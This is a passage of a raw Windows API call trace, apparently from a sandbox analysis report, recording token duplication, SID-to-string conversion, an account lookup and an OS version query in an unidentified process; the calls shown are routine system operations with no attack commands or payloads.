pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0129.648] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0129.648] SetLastError (dwErrCode=0x0) [0129.648] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0129.648] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0129.648] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0129.649] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0129.649] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0129.649] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0129.651] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0129.652] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.652] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.652] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.653] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.653] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.653] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.656] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0129.656] GetCurrentThread () returned 0xfffffffffffffffe [0129.656] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0129.656] malloc (_Size=0xd8) returned 0x2b35c0 [0129.656] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0129.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0129.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0129.657] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0129.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0129.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0129.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0129.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0129.658] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0129.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0129.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0129.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0129.659] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0129.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0129.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0129.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0129.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0129.660] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0129.661] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0129.661] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0129.661] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0129.661] malloc (_Size=0x18) returned 0x2aef80 [0129.661] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0129.661] malloc (_Size=0x48) returned 0x2ad3b0 [0129.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1c506120, dwHighDateTime=0x1d8a92a)) [0129.662] SetEvent (hEvent=0x1f0) returned 1 [0129.668] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0129.668] GetLastError () returned 0x7a [0129.668] malloc (_Size=0x2c) returned 0x2ae2a0 [0129.668] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0129.668] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.668] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0129.668] malloc (_Size=0x1c) returned 0x2affd0 [0129.668] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.668] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0129.668] malloc (_Size=0x18) returned 0x2af000 [0129.668] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0129.668] malloc (_Size=0x18) returned 0x2aefa0 [0129.668] malloc (_Size=0x18) returned 0x2af0e0 [0129.668] SysStringLen (param_1="S-1-") returned 0x4 [0129.668] SysStringLen (param_1="5") returned 0x1 [0129.668] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0xa | out: _Dst=0x139628) returned 0x139628 [0129.669] memcpy (in: _Dst=0x139630, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x139630) returned 0x139630 [0129.669] free (_Block=0x2af000) [0129.669] free (_Block=0x2aefa0) [0129.669] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0129.669] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0129.669] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0129.669] malloc (_Size=0x18) returned 0x2aefa0 [0129.669] malloc (_Size=0x18) returned 0x2af000 [0129.669] SysStringLen (param_1="S-1-5") returned 0x5 [0129.669] SysStringLen (param_1="-") returned 0x1 [0129.669] memcpy (in: _Dst=0x1618e8, _Src=0x139628, _Size=0xc | out: _Dst=0x1618e8) returned 0x1618e8 [0129.670] memcpy (in: _Dst=0x1618f2, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1618f2) returned 0x1618f2 [0129.670] free (_Block=0x2af0e0) [0129.670] free (_Block=0x2aefa0) [0129.670] malloc (_Size=0x18) returned 0x2aefa0 [0129.670] malloc (_Size=0x18) returned 0x2af0e0 [0129.670] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.670] SysStringLen (param_1="21") returned 0x2 [0129.670] memcpy (in: _Dst=0x1398f8, _Src=0x1618e8, _Size=0xe | out: _Dst=0x1398f8) returned 0x1398f8 [0129.670] memcpy (in: _Dst=0x139904, _Src=0x139628, _Size=0x6 | out: _Dst=0x139904) returned 0x139904 [0129.670] free (_Block=0x2af000) [0129.670] free (_Block=0x2aefa0) [0129.670] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0129.671] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0129.671] malloc (_Size=0x18) returned 0x2aefa0 [0129.671] malloc (_Size=0x18) returned 0x2af000 [0129.671] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.671] SysStringLen (param_1="-") returned 0x1 [0129.671] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0x12 | out: _Dst=0x139628) returned 0x139628 [0129.671] memcpy (in: _Dst=0x139638, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x139638) returned 0x139638 [0129.671] free (_Block=0x2af0e0) [0129.671] free (_Block=0x2aefa0) [0129.671] malloc (_Size=0x18) returned 0x2aefa0 [0129.671] malloc (_Size=0x18) returned 0x2af0e0 [0129.671] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.672] SysStringLen (param_1="4219442223") returned 0xa [0129.672] memcpy (in: _Dst=0x118218, _Src=0x139628, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0129.672] memcpy (in: _Dst=0x11822a, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0129.672] free (_Block=0x2af000) [0129.672] free (_Block=0x2aefa0) [0129.672] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0129.672] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0129.672] malloc (_Size=0x18) returned 0x2aefa0 [0129.672] malloc (_Size=0x18) returned 0x2af000 [0129.672] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0129.672] SysStringLen (param_1="-") returned 0x1 [0129.673] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0129.673] memcpy (in: _Dst=0x11760e, _Src=0x139628, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0129.673] free (_Block=0x2af0e0) [0129.673] free (_Block=0x2aefa0) [0129.673] malloc (_Size=0x18) returned 0x2aefa0 [0129.673] malloc (_Size=0x18) returned 0x2af0e0 [0129.673] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0129.673] SysStringLen (param_1="4223814209") returned 0xa [0129.673] memcpy (in: _Dst=0x116238, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x116238) returned 0x116238 [0129.673] memcpy (in: _Dst=0x116260, _Src=0x139628, _Size=0x16 | out: _Dst=0x116260) returned 0x116260 [0129.673] free (_Block=0x2af000) [0129.673] free (_Block=0x2aefa0) [0129.674] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0129.674] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0129.674] malloc (_Size=0x18) returned 0x2aefa0 [0129.674] malloc (_Size=0x18) returned 0x2af000 [0129.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0129.674] SysStringLen (param_1="-") returned 0x1 [0129.674] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0129.674] memcpy (in: _Dst=0x12d844, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0129.674] free (_Block=0x2af0e0) [0129.674] free (_Block=0x2aefa0) [0129.674] malloc (_Size=0x18) returned 0x2aefa0 [0129.674] malloc (_Size=0x18) returned 0x2af0e0 [0129.675] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0129.675] SysStringLen (param_1="3835049652") returned 0xa [0129.675] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x40 | out: _Dst=0x116238) returned 0x116238 [0129.675] memcpy (in: _Dst=0x116276, _Src=0x139628, _Size=0x16 | out: _Dst=0x116276) returned 0x116276 [0129.675] free (_Block=0x2af000) [0129.675] free (_Block=0x2aefa0) [0129.675] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0129.675] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0129.676] malloc (_Size=0x18) returned 0x2aefa0 [0129.676] malloc (_Size=0x18) returned 0x2af000 [0129.676] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0129.676] SysStringLen (param_1="-") returned 0x1 [0129.676] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0129.676] memcpy (in: _Dst=0x12d85a, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0129.676] free (_Block=0x2af0e0) [0129.676] free (_Block=0x2aefa0) [0129.676] malloc (_Size=0x18) returned 0x2aefa0 [0129.676] malloc (_Size=0x18) returned 0x2af0e0 [0129.676] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0129.676] SysStringLen (param_1="1000") returned 0x4 [0129.677] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x56 | out: _Dst=0x116238) returned 0x116238 [0129.677] memcpy (in: _Dst=0x11628c, _Src=0x139628, _Size=0xa | out: _Dst=0x11628c) returned 0x11628c [0129.677] free (_Block=0x2af000) [0129.677] free (_Block=0x2aefa0) [0129.677] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0129.677] malloc (_Size=0x5e) returned 0x2b08a0 [0129.677] free (_Block=0x2af0e0) [0129.677] malloc (_Size=0x18) returned 0x2af0e0 [0129.678] free (_Block=0x2b08a0) [0129.678] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0129.679] GetLastError () returned 0x7a [0129.679] malloc (_Size=0x14) returned 0x2aefa0 [0129.679] malloc (_Size=0x16) returned 0x2af000 [0129.679] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0129.680] malloc (_Size=0x18) returned 0x2af0c0 [0129.680] malloc (_Size=0x18) returned 0x2aefc0 [0129.680] free (_Block=0x2aefa0) [0129.680] free (_Block=0x2af000) [0129.681] free (_Block=0x2affd0) [0129.681] free (_Block=0x2aefc0) [0129.681] free (_Block=0x2af0c0) [0129.681] free (_Block=0x2af0e0) [0129.681] free (_Block=0x2ae2a0) [0129.682] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0129.682] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0129.682] GetLastError () returned 0x7a [0129.682] malloc (_Size=0x2c) returned 0x2ae2e0 [0129.682] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0129.682] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.682] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0129.682] malloc (_Size=0x1c) returned 0x2affd0 [0129.682] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.682] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0129.683] malloc (_Size=0x18) returned 0x2af0e0 [0129.683] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0129.683] malloc (_Size=0x18) returned 0x2af0c0 [0129.683] malloc (_Size=0x18) returned 0x2aefc0 [0129.683] SysStringLen (param_1="S-1-") returned 0x4 [0129.683] SysStringLen (param_1="5") returned 0x1 [0129.683] memcpy (in: _Dst=0x1398f8, _Src=0x1618e8, _Size=0xa | out: _Dst=0x1398f8) returned 0x1398f8 [0129.683] memcpy (in: _Dst=0x139900, _Src=0x139628, _Size=0x4 | out: _Dst=0x139900) returned 0x139900 [0129.683] free (_Block=0x2af0e0) [0129.683] free (_Block=0x2af0c0) [0129.683] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0129.684] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0129.684] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0129.684] malloc (_Size=0x18) returned 0x2af0c0 [0129.684] malloc (_Size=0x18) returned 0x2af0e0 [0129.684] SysStringLen (param_1="S-1-5") returned 0x5 [0129.684] SysStringLen (param_1="-") returned 0x1 [0129.684] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0xc | out: _Dst=0x139628) returned 0x139628 [0129.684] memcpy (in: _Dst=0x139632, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x139632) returned 0x139632 [0129.684] free (_Block=0x2aefc0) [0129.684] free (_Block=0x2af0c0) [0129.684] malloc (_Size=0x18) returned 0x2af0c0 [0129.685] malloc (_Size=0x18) returned 0x2aefc0 [0129.685] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.685] SysStringLen (param_1="21") returned 0x2 [0129.685] memcpy (in: _Dst=0x1618e8, _Src=0x139628, _Size=0xe | out: _Dst=0x1618e8) returned 0x1618e8 [0129.685] memcpy (in: _Dst=0x1618f4, _Src=0x1398f8, _Size=0x6 | out: _Dst=0x1618f4) returned 0x1618f4 [0129.685] free (_Block=0x2af0e0) [0129.685] free (_Block=0x2af0c0) [0129.685] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0129.685] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0129.685] malloc (_Size=0x18) returned 0x2af0c0 [0129.685] malloc (_Size=0x18) returned 0x2af0e0 [0129.686] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.686] SysStringLen (param_1="-") returned 0x1 [0129.686] memcpy (in: _Dst=0x1398f8, _Src=0x1618e8, _Size=0x12 | out: _Dst=0x1398f8) returned 0x1398f8 [0129.686] memcpy (in: _Dst=0x139908, _Src=0x139628, _Size=0x4 | out: _Dst=0x139908) returned 0x139908 [0129.686] free (_Block=0x2aefc0) [0129.686] free (_Block=0x2af0c0) [0129.686] malloc (_Size=0x18) returned 0x2af0c0 [0129.686] malloc (_Size=0x18) returned 0x2aefc0 [0129.686] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.686] SysStringLen (param_1="4219442223") returned 0xa [0129.686] memcpy (in: _Dst=0x118218, _Src=0x1398f8, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0129.686] memcpy (in: _Dst=0x11822a, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0129.686] free (_Block=0x2af0e0) [0129.687] free (_Block=0x2af0c0) [0129.687] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0129.687] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0129.687] malloc (_Size=0x18) returned 0x2af0c0 [0129.687] malloc (_Size=0x18) returned 0x2af0e0 [0129.687] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0129.687] SysStringLen (param_1="-") returned 0x1 [0129.687] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0129.687] memcpy (in: _Dst=0x11760e, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0129.687] free (_Block=0x2aefc0) [0129.687] free (_Block=0x2af0c0) [0129.687] malloc (_Size=0x18) returned 0x2af0c0 [0129.688] malloc (_Size=0x18) returned 0x2aefc0 [0129.688] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0129.688] SysStringLen (param_1="4223814209") returned 0xa [0129.688] memcpy (in: _Dst=0x12d808, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0129.688] memcpy (in: _Dst=0x12d830, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0129.688] free (_Block=0x2af0e0) [0129.688] free (_Block=0x2af0c0) [0129.688] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0129.688] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0129.688] malloc (_Size=0x18) returned 0x2af0c0 [0129.688] malloc (_Size=0x18) returned 0x2af0e0 [0129.689] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0129.689] SysStringLen (param_1="-") returned 0x1 [0129.689] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x3e | out: _Dst=0x116238) returned 0x116238 [0129.689] memcpy (in: _Dst=0x116274, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x116274) returned 0x116274 [0129.689] free (_Block=0x2aefc0) [0129.689] free (_Block=0x2af0c0) [0129.689] malloc (_Size=0x18) returned 0x2af0c0 [0129.689] malloc (_Size=0x18) returned 0x2aefc0 [0129.689] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0129.689] SysStringLen (param_1="3835049652") returned 0xa [0129.689] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0129.689] memcpy (in: _Dst=0x12d846, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0129.690] free (_Block=0x2af0e0) [0129.690] free (_Block=0x2af0c0) [0129.690] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, 